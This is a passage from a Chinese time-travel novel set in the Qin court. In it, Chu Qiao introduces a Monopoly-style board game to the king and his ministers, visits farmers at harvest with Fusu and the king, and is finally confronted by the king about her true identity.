每人初始拥有六枚钱币，每回合投掷的骰子等于行动的步数。若是落在城池则可以花一枚钱币购买该城池；若是落在仙山，则需要完成随机任务下一回合才可以继续前进，不能完成则冻结一回合，可花费一枚钱币跳过任务。
最终在所有人花完钱币之前，获得最多城池的赢得胜利。
楚荍看着几个小萝卜头虽然嘴上喊着听懂了，但其实根本就云里雾里地没听懂。她无奈一笑，有时候她总是很容易忽略，不是所有小朋友都跟他家公子一样聪明。虽然这已经是超级超级简化版，但可能对几岁的小朋友还是有些复杂了。
“没关系，很简单的，玩着玩着就懂了。我们先来选身份吧！”
楚荍捧着六个小木雕，让这些小萝卜头选。
这六张身份牌分别是弓、剑、笔、印、包子和圆扇。
“我要这个！”嬴阴嫚率先抢下“弓”。
楚荍眉眼弯弯地看向扶苏这个史书上为数不多记载的有姓名的妹妹。
她今年不过五岁，就已经会拉弓射箭，而且还能射中一百米开外的靶子。虽然是给她特质的木弓，但也十分厉害，能看出她在此道上有着极高的天赋。就连嬴政对她也十分宠爱。
当然，这个宠爱是跟她除了扶苏之外的兄弟姐妹们比。
在这后宫之中，大王的宠爱和看重，还没有人能够跟扶苏比。
“好，那阴嫚公主的身份就是‘弓。’”楚荍说道。
其他人见阴嫚选完了，生怕选到别人剩下不要的，所以很快六张身份牌就确定了。
将闾选了包子，很符合他吃货的身份。最后剩下圆扇和印，楚荍自觉地把印分给扶苏，自己留了圆扇。
楚荍这份地图上有十二座城池，都是七国著名的大城。为了增加趣味性，楚荍设了五座仙山，这样每回合每个人抽到随机任务的概率就大了很多。
而且她随机事件设置的都是唱歌、跳舞、耍剑、投壶、猜拳、和选定一人给予其一枚钱币等等这种没有任何游玩门槛的小游戏小事件，她一共设计了十二个随机任务。
第一盘，楚荍带着大家一起玩。每个小萝卜头都精力充沛，从掷骰子就开始欢声不断。虽然他们都不是很懂游戏规则，但是每一步要怎么做楚荍都会告诉他们，所以也都很快上手。
嬴阴嫚是第一个抽到随机任务的，几个小萝卜头异常兴奋，都在隐隐期待她抽到唱歌跳舞这种。平常阴嫚总是仗着父王的宠爱欺负他们，要是抽到唱歌跳舞，就可以看她出丑了嘿嘿，几个人笑得就差把自己这点心思写在脸上了。
她自己也有点忐忑，唱歌跳舞这种她确实不会，但她又不想在这几个傻子面前出丑。
不过幸好，她抽中的是投壶，在一口气直接连投三箭全中之后，狠狠打了想看她出丑的人的脸。
然后下一秒，刚刚想看阴嫚出丑的小公子就自己踩到了仙山，然后好巧不巧地抽到了跳舞。
不料这位公子是个脸皮厚的，随便瞎跳了一曲，所有人都被他摇头晃屁股的舞姿给逗的哈哈大笑。
后面又抽到唱歌，竟扯着嗓子喊了一整首歌的“我爱大兄、我爱大兄”，那副挤眉弄眼谄媚的样子，所有人都笑得前仰后翻。扶苏甚至被他这番盛情表白给弄到脸红。
楚荍也是这个时候才深深记住了这位竟和阴嫚是一母同胞的小公子——荣禄。
有了荣禄带动气氛，场子越来越活跃。众人一直玩到各宫都来人催了，才依依不舍的散场道别。还约定下次再一起玩儿。
“公子今日可还开心？”
楚荍拿着帕子给扶苏擦汗，笑着问道。
扶苏闻言开心地点头，脸蛋红扑扑的。
“今日我不仅赢了父王三盘，还有姑姑和弟弟妹妹给我的惊喜，当然了开心了。说不定今晚还能做个好梦呢。”扶苏笑得眼睛都眯住了。
“那就祝公子一夜好梦。”楚荍轻轻拍拍扶苏的头，很认真地说道。
她是真的希望扶苏能做个美梦，毕竟被自己最爱的父王赐死这种梦，还是太残忍了。
翌日，楚荍把早就准备好的进阶版大富翁给自家大王送去。昨晚有些晚了，她这才今早送的。
她和扶苏一样，已经深刻吸取了上次的教训。
早朝后，嬴政照例留了几位大臣商议国事，中途宫人搬动木箱子弄出声响，嬴政一问才知道，这是扶苏让人送来的“新棋”，名为大富翁。
等宫人从那木箱子里又拿出一个木盒，里面五卷竹简都是游戏规则的时候，众人才明白为什么这“新棋”拿了这么大一个木箱子来装了。
几位大臣看到那木箱子里甚至还有投壶，心中更是好奇，这投壶跟下棋又有什么关系？
嬴政拿起一卷竹简匆匆扫了一眼就放了一边，接着与几位大臣商议刚刚谈论的政事。宫人也自觉地将木箱子和上之后就退了出去。
见状，众人也都敛了心神，继续投身工作。
等政事商议完毕，已经到了中午。嬴政照例留众人用膳。
用完了饭，嬴政又想起来扶苏送过来的新棋，早上他看了两眼规则，现在好奇心也有点起来了，于是便让人去偏殿把楚荍叫了过来。
这东西虽然是用扶苏的名义送过来的，但一看知道是楚荍的手笔。
虽说楚荍大概知道嬴政叫自己过来应该是为了她今早送过来的“大富翁”，但是看到一圈大佬都在书房里还是愣了一下。
李斯、蒙恬、蒙武、王贲，还有一个她不认识的尉缭。
好家伙，秦国最重要的几位文臣武将都在这了。不过这些大佬怎么一个个看她的眼神怪怪的？楚荍有些费解，她最近也没做什么吧。
“楚荍，你把这‘新棋’的规则讲解一下吧。”嬴政看着自己竹简，颇有些漫不经心地吩咐。
闻言，李斯等人也都看向楚荍。他们自然认得这位长公子身边的掌事姑姑。毕竟这几月她弄出的动静可不小。
各种闻所闻未的新鲜吃食、桌椅板凳、牙刷牙膏、内衣内裤，这些东西大王赐给他们的新奇物件，不仅是见所未
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见，更是用了之后才知道其厉害之处。
甚至后来他们都怀疑，象棋真的是公子研究的吗，还是说其实还是楚荍搞出来的，只是借了公子的名义。
当然，这样的话没有人会问出口。而且也没有意义，楚荍是扶苏的人。只要抓住这一点，这些新鲜东西到底是谁搞出来的并没有什么所谓。
不过他们对这位搞出这么多花样的楚荍有些好奇也无可厚非。
但很快，他们就被楚荍讲解的新棋规则给吸引了过去。
原来这是个多人玩的棋类游戏，跟象棋这种不同，这个“大富翁”更适合喝酒行令时用来玩乐的。
“请大王和诸位大人选择自己的身份牌。”
楚荍将各国的身份牌摆好，便笑吟吟地开口。
众人看着楚荍摆出的八张身份牌，眉头一跳。
八张身份牌分别是七国加上匈奴，这让他们怎么选啊！这游戏通过占领土地赚钱，最后是赚钱最多的人获胜。
这身份牌是想要让他们代表别的国家然后跟自己大王打擂吗？这跟让他们骑在大王头上拉屎有什么区别！
虽然话有点糙了，但是理不糙啊！他们还想要自己的脑袋呢。
“我记得李大人是楚国人，不如就选楚国吧。”
楚荍笑着将刻着“楚”字的木牌递给李斯。但很难说这笑里有几分幸灾乐祸。
闻言，李斯笑容一滞。如今七国形式逐渐明朗，楚国可以说是秦国实力最为强劲的对手。这会儿楚荍提起楚国，还让自己认领“楚”的身份牌，到底存的什么心思？
李斯动作生硬地接过木牌，几乎是咬牙切齿地笑着说：“没想到楚夫人记得这么清楚，既如此，那斯就认领这块‘楚’的身份牌吧。”
说着，将手上的木牌向众人展示一圈。
“李大人折煞我了，诸位大人唤我楚荍就好。”楚荍接过话说道。
李斯没想错，她确实是故意的。不过倒不是别的，单纯就是觉得好玩而已。
说起来，楚荍也算是李斯的粉丝，小时候读到《逐客令》的时候她可是被狠狠惊艳了，所以也小迷过他一段时间。
“大王，公子求见。”
忽闻宫人通传，嬴政一挥手，便让人把扶苏叫进来。
“父王。”扶苏上前行礼，诸位大臣也纷纷起身与扶苏行礼。
见完礼后，看到地上的大富翁棋盘，扶苏松了口气，笑着问道：“父王与诸位大人在玩大富翁吗，我可以一起吗？”
见扶苏一副放心了的样子，嬴政就猜到他肯定看楚荍一去不返，生怕自己做点了什么，这才跑过来确定楚荍有没有事。
嬴政在心里冷哼一声，这臭小子关心楚荍倒是关心的紧。
他点点头，同意了扶苏的请求。
扶苏欢天喜地坐下之后，高高兴兴就开始选自己的身份牌，丝毫没有注意到诸位大臣和自家父王的表情。
和自家大王公子一起玩游戏，真的没有人来管管他们的死活吗？
李斯等人在内心悲愤地大喊！
21.第二十一章 独秀
“为何临淄要花三枚钱币？而新郑只需一枚？”
蒙恬看着两座城池旁边不同的数字，疑惑地问。
“齐国有钱啊，临淄作为都城繁华鼎盛，地价贵一点多正常。至于新郑嘛，韩国现在不行了，地价自然也跌了。”楚荍边点评，边煞有介事地摇头。
众人听得又是眉头一跳，这点评是不是有点太直白了，这是可以说的吗？
“姑姑分析的在理。”扶苏表情认真地点头，十分给楚荍捧场。
这一版大富翁是进阶版，跟小朋友玩的简化版不一样，要复杂很多。
每人初始可获得八枚大钱和20枚小钱。大钱用来购买城池，小钱用来建造房舍和客栈，以及支付路费。每座城池上可以建造一座房舍，需花费一枚小钱；相邻两个相同图案的城池各建完一座房舍之后可以升级建造一座客栈，需花费两枚小钱。
不同城池建造房舍后根据城池价格的不一样，其他玩家路过可收取路费也不尽相同，建造客栈之后则可收取路费的收益大大提升。
玩家之间可以交易城池，可自由竞价，但交易成功后需向官府支付一定税金。踩到仙山需完成随即任务，不然需要官府交纳一枚小钱。
中途花完钱币且无力再支付路费者由官府宣告破产。其名下所有城池由官府主持进行拍卖。
最终，赚钱最多的人获胜。
“也就是说，需要尽可能购买相邻城池建造客栈，这样赢面才最大？”
讲解规则的时候扶苏不在，所以楚荍又简单给他讲解了一遍。
“嗯嗯没错，公子真聪明。”楚荍笑着夸道，“大王和公子都选定了自己的身份牌，那我们就开始吧。”
最后“秦”的身份牌是嬴政拿的。除了他，也没人敢拿这个身份牌了。
投掷的顺序是楚荍随便排的，就是把秦灭六国的顺序给倒了过来，也就是秦齐燕楚魏赵韩匈奴。
“蒙将军，你把即墨这座城池卖给我，我把邯郸给你，并且再给你两枚小钱，如何？”
“哼，李大人，即墨挨着临淄，卖给你之后建造客栈一次便可收取5枚小钱的过路费，踩两次就回本了。”蒙恬把玩着身份牌说，“邯郸这块地前不着村后不着店，我要来何用？”
“那我再加三枚小钱如何？”
说这么多，不就是嫌他出价低嘛，既然如此，那就加钱！反正现在场上最有钱的就是他了。
现在场上局势大致可以分为三种，以李斯、扶苏为代表的有钱人，王贲、蒙武、尉缭为代表的中产和以嬴政、蒙恬为代表的穷人。
没错，你没听错，嬴政是穷人。纯粹是因为运气太差，掷骰子不仅掷不到城池，还老踩到仙山和别人家城池。
嬴政第一次踩到仙山，抽取随机事件的时候，除了扶苏和楚荍所有人都吊着颗心，生怕楚荍写了什么骇人听闻的事件被自家大王抽到。然后大王为了保住颜面把他们都给杀了灭口。
所以当嬴政抽中的是投壶的时候，所有人都松了口气。
楚荍在一边看着每一个在外都是呼风唤雨的大佬，结果见了政哥一个个都跟老鼠见到猫一样就觉得好笑。她又不傻，送给政哥的她自然不敢乱写。随机事件她都写的是作诗、对对子、投壶这种安全又风雅的。
当然，有几个有意思的他们还没抽到呢。等抽到的时候就有乐子看了。
“这样如何，李大人你把大梁这座城池给我，然后再给我三枚小钱如何？”蒙恬接着说。
大梁和安邑挨着，他要是能拿下大梁，就能建造客栈了。
李斯一看地图，这蒙恬还真是狮子大开口，“即如此，那算了。我们下回合再看看。”
反正他不急。
随后，轮到扶苏掷骰子，一不小心踩到仙山，抽到的随即事件是指定一人高歌一曲。
众人闻言都是一惊，还能这样玩！
扶苏拿着木牌扫视周围，考虑选谁来完成这个任务。
嬴政见扶苏的目光落到自己身上，眉毛一挑，直直地看回去。他还不信扶苏有这个胆子敢让自己完成这个任务。
嬴政想的没错，扶苏确实有贼心没贼胆。他心虚地移开眼神，看到李斯似乎十分镇定的样子眼睛一亮。既然廷尉这么自信，那不如选廷尉吧。
当扶苏喊出李斯的名字的时候，没人知道他镇定微笑背后的崩溃。
他看这不是玩大富翁，是在玩他李斯吧！
“既得公子信任，臣愿一试。”
李斯微微一笑，清了清嗓子，既然真的唱了一首楚国的歌谣。
今夕何夕兮，搴舟中流。
今日何日兮，得与王子同舟。
蒙羞被好兮，不訾诟耻。
心几烦而不绝兮，得知王子。
山有木兮木有枝，心悦君兮君不知。
......
这、这不是《越人歌》吗？虽然曲调不一样，但是歌词是一样的。千年之后仍然爆火的词。楚荍一瞬间有些恍惚，回过神来却也不禁感叹，好多的作品就是会长盛不衰，流传千年。
其他人则通通被李斯惊掉了下巴，李廷尉竟然会唱歌吗？甚至唱得还不错。
“没想到廷尉还会唱歌啊。”嬴政打趣道。
“是啊，没想到李大人竟如此深藏不漏。”蒙武接过话，他是真的觉得李斯唱的好。
“大王和各位大人谬赞了，斯愧不敢当。”李斯连连摆手，虽然脸上还摆出一份谦逊的样子，但心里已经乐开了花。
现在局势已经越来越明朗，基本就是李斯和扶苏争第一。
这样下去不行，他得想办法给大王喂点钱。
“大王，您把这曲阜这座城池给我，我把广陵给您，外加五枚小钱，这样交易如何？”
随着李斯的话语，众人一看地图，发现曲阜和李斯的琅琊挨在一起，广陵和大王的会稽连在一起。
这样一换，两个人都能建造客栈。而且广陵和会稽建起客栈收取的路费要比曲阜和琅琊的贵。
李斯这不就是在给大王喂钱吗，甚至贴心地把建客栈的钱都一起给大王了。
哼，巧言令色的小人！
其他人都不由而同地在心里骂道。
“父王，不如你把曲阜给我，
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我把寿春给您，再给您6枚小钱如何？”
扶苏打断两人的交易，笑着开口。安阳和曲阜也挨着，也能建客栈。他自然是不能李斯这么轻而易举把这座城池拿走。
“你们俩都想要要曲阜这座城池啊，现在看来这块地还真是兵家必争之地啊。”
嬴政倚在凭几上，饶有兴趣地说。他自然看出了李斯想给他喂钱的举动。有人愿意主动给他喂钱也是他实力体现的一部分，他自然不会拒绝。
现在他只剩两枚小钱，和蒙恬一样濒临破产。但是这座城池卖出去就不一样了，至少他不会最先死掉。
“那不如你俩进行拍卖如何，价高者得。”
闻言，扶苏皱了皱眉，6枚小钱已经是他能出的最高价，如果李斯超过这个价，那这个拍卖对他就没有意义。更不谈还要向官府支付税金，这样就更不划算了。
但是现在他和李斯之前的差距很小，这块对他们俩来说确实是必争之地。
就在他犹豫之际，楚荍在一边拉了一下他的衣袖，他看过去，却发现自家姑姑在给他使眼色让他答应竞价。
“公子，我同意竞价，您觉得呢？”李斯问道。
闻言，扶苏一抬头，就看到自家父王饶有兴趣地样子。他瞬间就明白了楚荍的意思。
随即点头同意，“好，那就竞价吧，价高者得。”
上次他连赢父王三盘，姑姑已经深刻教训过他了。
“那好，现在官府对曲阜这座城池进行拍卖，起拍价一枚小钱，价高者得！”
楚荍也兴奋起来，掏出自己的小木锤开始拍卖。
“五枚小钱。”李斯直接喊了他刚刚出的最高价。
“六枚。”扶苏紧接着出价。
“八枚。”李斯接着喊价。
听到这个价格扶苏皱了皱眉头。他可以出更高的价，但是那样就没意义了，因为一块地花掉三分之二的钱，万一连续踩到客栈，那不是就直接破产了。
扶苏摇摇头，笑道：“恭喜李大人拿下曲阜。”
这样一来，李斯花了八枚小钱买下曲阜，又支付给官府一枚小钱。现在他连在这座城池上建房舍都有些捉襟见肘了。
不过当然，他给自家大王喂钱的目的还是达到了。嬴政不仅拿到了八枚小钱，还拿到了广陵这座城池，简直赚翻了。
一下子身家就超过了蒙武来到第四。
李斯买完这座城池之后，身家也从第一掉到了第二。
由于李斯这一步棋，局势瞬间颠倒。最后嬴政甚至一扫前期霉气，运气也大爆棚。
别家不仅连连踩到他的城池，连踩到仙山抽取的随机事件都是给他送钱。
最后，嬴政也是直接踩着扶苏和李斯赢得了最后的胜利。
“恭喜王上，贺喜王上，臣最终还是棋差一招，这辈子只能望大王的项背了。都说棋如人生，叶落知秋，想必最后这天下就如这地图上的一样，都是我大秦的天下。”
李斯高兴地向嬴政贺喜。
其他人见了纷纷自愧不如，不然人家是亲信呢，这怕马屁的功力，他们才真是望其项背！
22.第二十二章 再次出宫
傍晚，咸阳城李斯府内。
“李兄，听说你今日又一枝独秀了？”赵讷捧着酒碗揶揄。
“消息这么快？”李斯正在吃饭，闻言挑眉问道。
“来的路上碰到王大人，聊了几句。他可是跟我狠夸了你两句呢。”
“他没骂我就不错了，还夸我。”
李斯一笑，完全不信赵讷的鬼话，他跟王贲向来不对付。
“楚荍，这个人你知道多少？”他问。
“楚荍？长公子身边的那个掌事姑姑？”
见李斯点头，他又接着问：“你今日见到她了？”
“嗯，今日我们玩的新棋‘大富翁’虽是借着公子的名义送来的，但应该是出自她之手。”
李斯将今日之事更加详细地告诉了赵讷。
“你是说，大王很信任她？”赵讷有些疑惑地问。他虽知道些楚荍的事迹，但也都是道听途说，更谈不上了解。
“而且，她看起来很不一样。我说不上来是哪里不一样，等以后有机会再见到她，你就会明白我的意思。”
李斯放下手中的饭碗，神色认真地说道。今日楚荍讲解规则、控场指挥，以及她和大王公子相处的样子，都让他心生疑惑。
她的一举一动、所作所为明显不是普通侍女，而且也是在这几月才弄出的这些动静，这又是为何呢？
“难道是楚国的细作？”赵讷胡乱猜测道。
“你见过那个细作会弄出这么大动静。而且若真是这样，公子第一个就会发现，而不是这幅全然信任她的模样。”
“也是，”赵讷认可地点头，“不过我看李兄也不用担心，不管这楚荍到底是何人，只要与我们是友非敌，不就行了。”
他将手中的酒一饮而尽，爽朗一笑，完全没将李斯的担忧放在心上。
李斯闻言，也将手中的酒一饮而尽。
若真是这样，是友非敌，就好了......
七月流火，夏去秋来。天气开始逐渐转凉。
前些日子郑威跟她托话，说年初蒙将军亲手劁的两只猪仔现在长得可好了，肥肥胖胖的。那户人家让他给带个话，说猪仔长得好，他们好歹没误了公子的事。最近秋收，公子若是想，可以来看个新鲜。
正好最近楚荍也在想这个事。宫里实在太无聊了。虽然说这个夏天她也没少折腾，什么冰沙冰饮冰棒，还有手摇电风扇、蚊香、蚊帐等等，但是待久了实在太闷。她正准备找个由头出宫透口气呢，这不，刚打瞌睡就有人递枕头。
她和扶苏说了此事之后，两人一拍即合，迅速达成了一致。
今天就是他们准备出宫的日子。
“公子这身真帅气，果然，人好看穿什么都好看。”楚荍边给扶苏整理以衣裳边夸道。
因为想着今天可能要下地干活儿，所以扶苏换了一身简单粗布短打。但衣裳虽然简单，可穿在扶苏身上，却又衬得像华服一样了。
“姑姑，你总这么夸我，我会骄傲的。”
“姑姑又没说假话。再说，公子长这么好看，就是骄傲点又怎么了！”楚荍抚平扶苏衣上的最后一丝褶皱，语气夸张地说，“好了，差不多了，我们去和大王汇合吧。”
他们今日出宫，扶苏也邀请了嬴政。他本想着只是和父王说一下这件事，顺带问了一下嬴政要不要和他们一起去。没想到嬴政真的答应了。
由于扶苏要回寝宫换衣裳，嬴政要忙政务，所以他们是在宫门口汇合的。
“你们穿的这是什么衣服？”嬴政看向两人，挑眉问道。
而楚荍看着嬴政身上的宽袍大袖，也是一样惊讶。她悄悄问扶苏，“公子，你没将我们要去干什么告诉大王吗？”
“姑姑，你想让父王干活儿？”扶苏看过来，表情疑惑地反问。
呃，楚荍一下被噎住了。确实，她有点想当然了。
政哥当然只需要看着他们干活就好了。
“你们嘀咕什么呢？”嬴政走过来，看着他们俩问。
“没什么，”楚荍赶紧摇头，顺便和嬴政解释自己和扶苏穿成这样的原因。
“我和公子等会儿可能会帮着干点活儿，上次还借了人家的衣裳，所以这次干脆就这么穿着去了。”
嬴政闻言点点头，不可置否。上次扶苏所说的不亲自劳作，怎知百姓的辛苦，他还是认同的。多少王孙贵族根本没这个意识，而是只知锦衣玉食的蠹虫。
扶苏既然有这个心，他自然也不会阻拦。
等乘上马车出宫门之后，楚荍看向长长的卫队，有些惊呆了。她赶紧跑到蒙恬身边问道：“蒙将军，不是说微服私访吗，怎么这么大阵仗。”
“谁说了？大王和公子一起出巡，安全自然是重中之重。”
这些卫队都是大秦最精锐的士兵，每个人的铠甲和兵戈上都凛冽着寒光。
楚荍想想也是，虽说他们只是去城郊，但现在各国的探子刺客那么多，还是小心些好。
车马很快驶到城中，车上四周的轻纱被风吹起，露出嬴政和扶苏的身影。
扶苏原本还在四处张望，他出宫次数少，看什么都觉得新鲜。
到了城中，人多起来之后，见自家父王正襟危坐的样子，也立马敛了心神，学着坐好。
这次和上次不一样，上次出宫之时没人知道他是长公子，所以他随意一些也无所谓。但这次不一样，和父王同乘一辆车，百姓们的欢呼和跪拜，都在时刻提醒扶苏要摆出大秦长公子的姿态。
“是大王和长公子！”
咸阳城内的百姓认出嬴政和扶苏，纷纷开始欢呼和在街边跪拜行礼。
不知为何，扶苏看着百姓们真挚的笑容，那一双双包含希望的双眼，心中热血竟也被这高声欢呼喊得沸腾。
眼中热泪也要夺眶而出。
“父王，这天下，未来一定是大秦的天下。”
他抬手悄悄擦掉眼泪，转头对嬴政说道。表情十分认真。
“哦，这么有信心？”
嬴政笑着问，这傻小子还以为他没看见他擦眼泪的小动作呢。
没想到扶苏却摇摇头，说出来一个他意料之外的答案。
“我相信父王，父王是
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这天下最厉害的君王，您一定不会辜负百姓们的期望，一定会带他们过上吃得饱穿得暖的好日子。”
嬴政先是一愣，旋即又哈哈大笑起来，他抬手摸上扶苏的脑袋。不愧是他的儿子，这话还有几分气势。
不知是不是有段时日没出宫了，看着这样欢腾的场面，他的心竟也有些沸腾起来。
吃饱穿暖的好日子，他一定会让大秦的百姓们过上的。
楚荍在车外见嬴政突然笑了起来，而自家公子则是一脸严肃的样子，顿时心生好奇。
街市上吵闹，她自然也没听见两人的聊天。到时候问问公子好了，楚荍心想。
出了城之后，人渐渐少了起来。
很快，他们就来到了上一次她和扶苏来的那一户人家的田地。
两人正在收粟，粟禾已经被割完躺倒在田地里，他们正在把地上的粟禾用绳子进行捆扎，好运回家里。
“婶子！”楚荍走上前呼喊。
地里正在劳作的夫妻俩听到声音，一抬头，就发现是楚荍和长公子来了。
他们赶紧放下手中的活儿，又叫上自家的两个小子和小女儿。
“公子，楚姑娘！”
夫妻俩拉着自家小孩上前行礼，见到嬴政，愣了一下，不等楚荍介绍就猜出了他的身份。
“参见大王！”两人又慌忙着朝嬴政行礼。
“无事，二位快快请起。”嬴政上前将二人扶起，脸上是十分温和的笑。
楚荍在一边看的目瞪口呆，她家政哥这笑她看的都觉得被暖到了。
不愧是千古一帝，看看人家这姿态，摆的多低，多平易近人啊！
后世那些传她政哥是暴君的，简直是谣传，是政敌的抹黑！
因为只剩一些收尾的工作，所以楚荍和扶苏兴致勃勃地就去帮忙了。他们俩都还没捆过粟禾呢。
见嬴政也有些跃跃欲试的样子，楚荍赶紧拦住他。这一弯一起太费腰了，他家政哥平日那个工作狂的样子，从早到晚都坐在桌前批阅奏章，对腰的负担已经很重了。这会儿还是别干这种活儿了。
“王上，不如您和蒙将军去村子里走走，这里有我们就够了。”
“是啊，大王，咱们去村子里走走，看看百姓们的生活如何？”蒙恬也劝道。
闻言，嬴政点点头。今日天气晴朗，微凉有风，倒是个适合散步的好时候。
嬴政走后，楚荍和扶苏也下地帮夫妻俩干活儿。
金黄的粟田里，远远望去，一个个小身影正在田里辛勤劳作。
楚荍和扶苏正合力在捆粟禾。扶苏和她讲完刚刚车上的小插曲之后，她再一次在心里感叹，她家公子确实是“先天帝王圣体”。
“婶婶，他们在地里捡什么啊？”扶苏看着拿个小碗在田地里穿梭的几个小孩，好奇地问。
“哦，他们啊，在捡掉在田里的粟谷，能捡个好几碗呢！”
楚荍直起身，金黄生辉的夕光直直刺进她的心里。
吃饱穿暖的好日子吗.......
她能为这个“梦”做点什么呢？
23.第二十三章 入局
夜幕降临，行进中的卫队点起火把，晃动的火光照亮着前方的路。
“楚荍？楚荍？”
蒙恬伸出手推了推楚荍，刚刚喊了好几声她都没反应。
“啊，怎么了？”楚荍这才堪堪回神，一脸茫然地问。
“我们到了，下车。”
蒙恬先她一步跳下车，朝她伸出手：“你想什么呢，想的这么入神？”
楚荍微微一笑摇头，扶着蒙恬的手下车，“没什么。”
蒙恬虽有些奇怪，他还没见过楚荍如此恍惚的样子。但见楚荍不想说，也就没有多问。
翌日，嬴政宫内。
“大王，楚荍已经在殿外站了一个时辰了。”
“不用管她。等她想说了，自会进来的。”嬴政正在处理政务，闻言对宫人说道。
而殿外的楚荍正站在原地，无意识地握紧拳，指甲被迫陷进自己的手心，留下一道道痕迹。她看着望不到尽头的天边，不知道自己在这站了多久，却始终迈不出那一步。
还真是没用啊，楚荍。
她苦笑一声，泄气地坐在台阶上。僵硬的肢体仿佛风干的石像随着她的动作哗啦哗啦往下掉落着碎石片，片刻，才露出真面容来。
昨日，她随嬴政扶苏出宫。
无论是扶苏“吃饱穿暖”的梦，还是在田里捡粟穗的孩童天真的笑，亦或是漫进她心里的绯色夕霞，都让她突然意识到——她穿过来的这个大秦何其美好。
美好到，她无论如何也想延长这份美好。
但是要怎么做呢？怎么才能延长这份美好？
楚荍心里、脑子里统统乱成一团，唯一理出的那个线头却是让她坦白。
她抱着这个念头走到嬴政殿外，可等到了之后才反应过来，就算她现在去坦白又能如何呢。
且先不说政哥会不会信她，就算政哥信了她真是未来之人，她又要怎么做，才能延长那份美好？
她想要的到底是什么？
楚荍坐在石阶上，脑子里这几个问题一直在打架，却争不出个胜负来。
她痛苦地揉了揉自己头。就在这时，夏时派人叫她回去。
见状，她长叹口气，撑起身子跟宫人一起回了扶苏宫中。
既然现在想不出来，那就明天再来吧。
路上，楚荍偶遇出宫的甘罗。
“夫子，可是出宫家去？”她强撑起笑容与他见礼。
甘罗点点头，“嗯，今日教公子破了一盘残局，耽误些时间。”
两人寒暄几句后便各自分开继续前行。
可没走出去几步之后，甘罗又折了回来拦住楚荍，“没事吧？你看起来不太好。”
“啊，我没事啊。”楚荍突然被拦住有些懵，犹豫了一些会儿却又接着问道：“夫子为何这么说？”
闻言，甘罗指了一下楚荍的脸，什么意思不言而喻，楚荍自然也明白。
她苦笑一声，抚上自己的脸，“这么明显吗？”
昨晚蒙恬也问过她怎么了，看来她这张脸还真是藏不住事儿啊。
“有什么我能帮上忙的吗？”甘罗问道。
“我没事……”
楚荍摇摇头，一句别担心还没说出口就被生硬地咽了下去，“我有一件重要的事情要说……但是不知道怎么开口。”
她很少向人寻求帮助。不知道是什么时候遗留下来的心理问题，她总是羞于向别人求助。
但是这会儿，她真的急需有个人帮她理清一下脑子里的乱麻。
“你要告诉的那个人和你之间是什么关系？”甘罗思索片刻后问。
呃，甘罗这个问题算是把她问到了。
她和政哥之间是什么关系？应该连朋友关系都算不上吧，偶像和粉丝之间的关系？还是老板和打工人的关系？
“嗯，就……普通关系？”
楚荍有些为难地说。她实在不知道怎么定位自己和政哥之间的关系，虽然她自诩是粉丝迷妹，但政哥连粉丝是什么都不知道呢！
“那你要说的这件事是对你影响大一点，还是对他影响大一点？”
“应该是对我的影响大一点吧。”
“也就是说你要说的这件事可以对你可能有害，你不敢确定，所以你才这么犹豫？”
听完，楚荍点点头，好像确实是这样。
“如果只是直接的利害关系，那就简单了。只要你拿出足够的筹码，把你要将这件事说出去承担的风险降到最低，甚至没有，不就行了。”
是哦，楚荍被甘罗一语惊醒梦中人，立马醒悟过来。
只要她拿出足够的筹码，和政哥进行利益交换不就行了。
“多谢夫子指点，我明白了。”
楚荍脸上的晦色一扫而空，十分真诚地向甘罗行礼道谢，“事成之后我一定请夫子吃饭，还请夫子到时一定前来。”
“那我就等你的好消息了。”甘罗笑着应下了这个礼。
约定好之后，两人挥手告别。
暮色四合，高高的城墙之上是更高的天空。晦暗不明的夜幕上星星点点缀着几颗星。
沉默的石像脚下没有影子，时间仿佛停滞一般不再流动。
她紧紧抓住袖子里已经被她揉成一团的布帛，脚步却没有丝毫的挪动。
这已经是她第二次站在这里。
明明已经握着筹码，却依旧胆小如鼠。就算在心里预演一万次将要发生的事，可真要面对之时，依然心跳加速、手脚发颤。
“大王，楚荍又在殿外站了半个时辰。”
又站了半个时辰？嬴政放下手中的竹简，微微有些疑惑。
昨日楚荍什么都没说就走掉之后，他还想她什么时候会再回来。
来得还挺快，嬴政用手撑起下颌，嘴角勾起一个弧度，看来今晚会是个有意思的晚上。
他都有些期待了，能让楚荍犹豫这么久的话，会是什么呢？
“去把她叫进来。”嬴政对着宫人吩咐道。既然楚荍如此犹豫不决，那就让自己帮她一把吧。
嬴政放下撑着下颌的手，手指轻轻敲着桌子，脸上却是猎人看到猎物露出最脆弱的脖颈时，残忍玩味的笑。
楚荍在殿外望着远方出神发呆有点久，宫人叫她时过了好一会儿才反应过来。
“啊，大王叫我？”楚荍一副状况外的样子。
“是啊姑姑，您都在这站了这久了，大王能不知道吗？”孟冬见楚荍神情不太对，走近一步悄悄对她说，“不过大王看起来心情不错，姑姑你别担心。”
闻言楚荍伸手揉了一下孟冬的脑袋，笑着说：“谢谢你小孟冬，真是帮我大忙了。”
孟冬是嬴政宫中的小内侍，
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今年才十四岁。有一次他扫洒之时不小心碰掉了一副银盏，恰好楚荍在场，见他不是故意的，便替他说了几句好话将此事揭过。自那之后，孟冬就对她很是感激。
楚荍深吸一口气，整理了一下衣裳，终于迈出了这忐忑的一步。
“参见大王。”楚荍跪下行礼。
跪下行完礼后，迟迟不见嬴政让自己起身，她也只好接着跪着。
一盏茶之后，楚荍膝盖有些受不了，她悄悄抬眼一看，嬴政正在专心批阅奏章、处理政务。
可能是没注意到她吧，楚荍在心里安慰自己。政哥还从没让她无缘无故跪过这么久。
但她这点自我安慰收效甚微，在殿内安静地只剩嬴政翻阅竹简的声音时，楚荍心里防线几近崩溃。
难道被政哥发现了？可是她还什么都没做没说啊，大王能发现什么？
楚荍跪伏在地上开始胡思乱想，心跳不断加速，血液里的轻颤让楚荍浑身战栗，被强加的紧张压迫感让她几乎想吐。
又是一盏茶过后，楚荍几乎就要跪不住，正要破罐子破摔准备开口时，却听见嬴政说，“起来吧。”
然后又是一挥手，除了楚荍之外所有宫人都退了出去。
楚荍强撑着地站起来，但脑子又好像被清空了一样一片空白。
她张了张嘴，涩哑的声音被拦在嘴边，无助地发现自己原本准备好的说辞现在却一句都说不出口了。
嬴政见状顺理成章地接过这场谈话的主导权。他又想起巫祝那句“外来客”，他现在真的很好奇，楚荍这个外来客，究竟会给他怎样的惊喜。
“楚荍，你到底是谁？”
楚荍闻言猛地抬头，不知嬴政这句话从何而来。可当她看见嬴政嘴角的笑时瞬间就明白了这句话背后的意思。
你不是楚荍，你到底是谁？嬴政在问她。
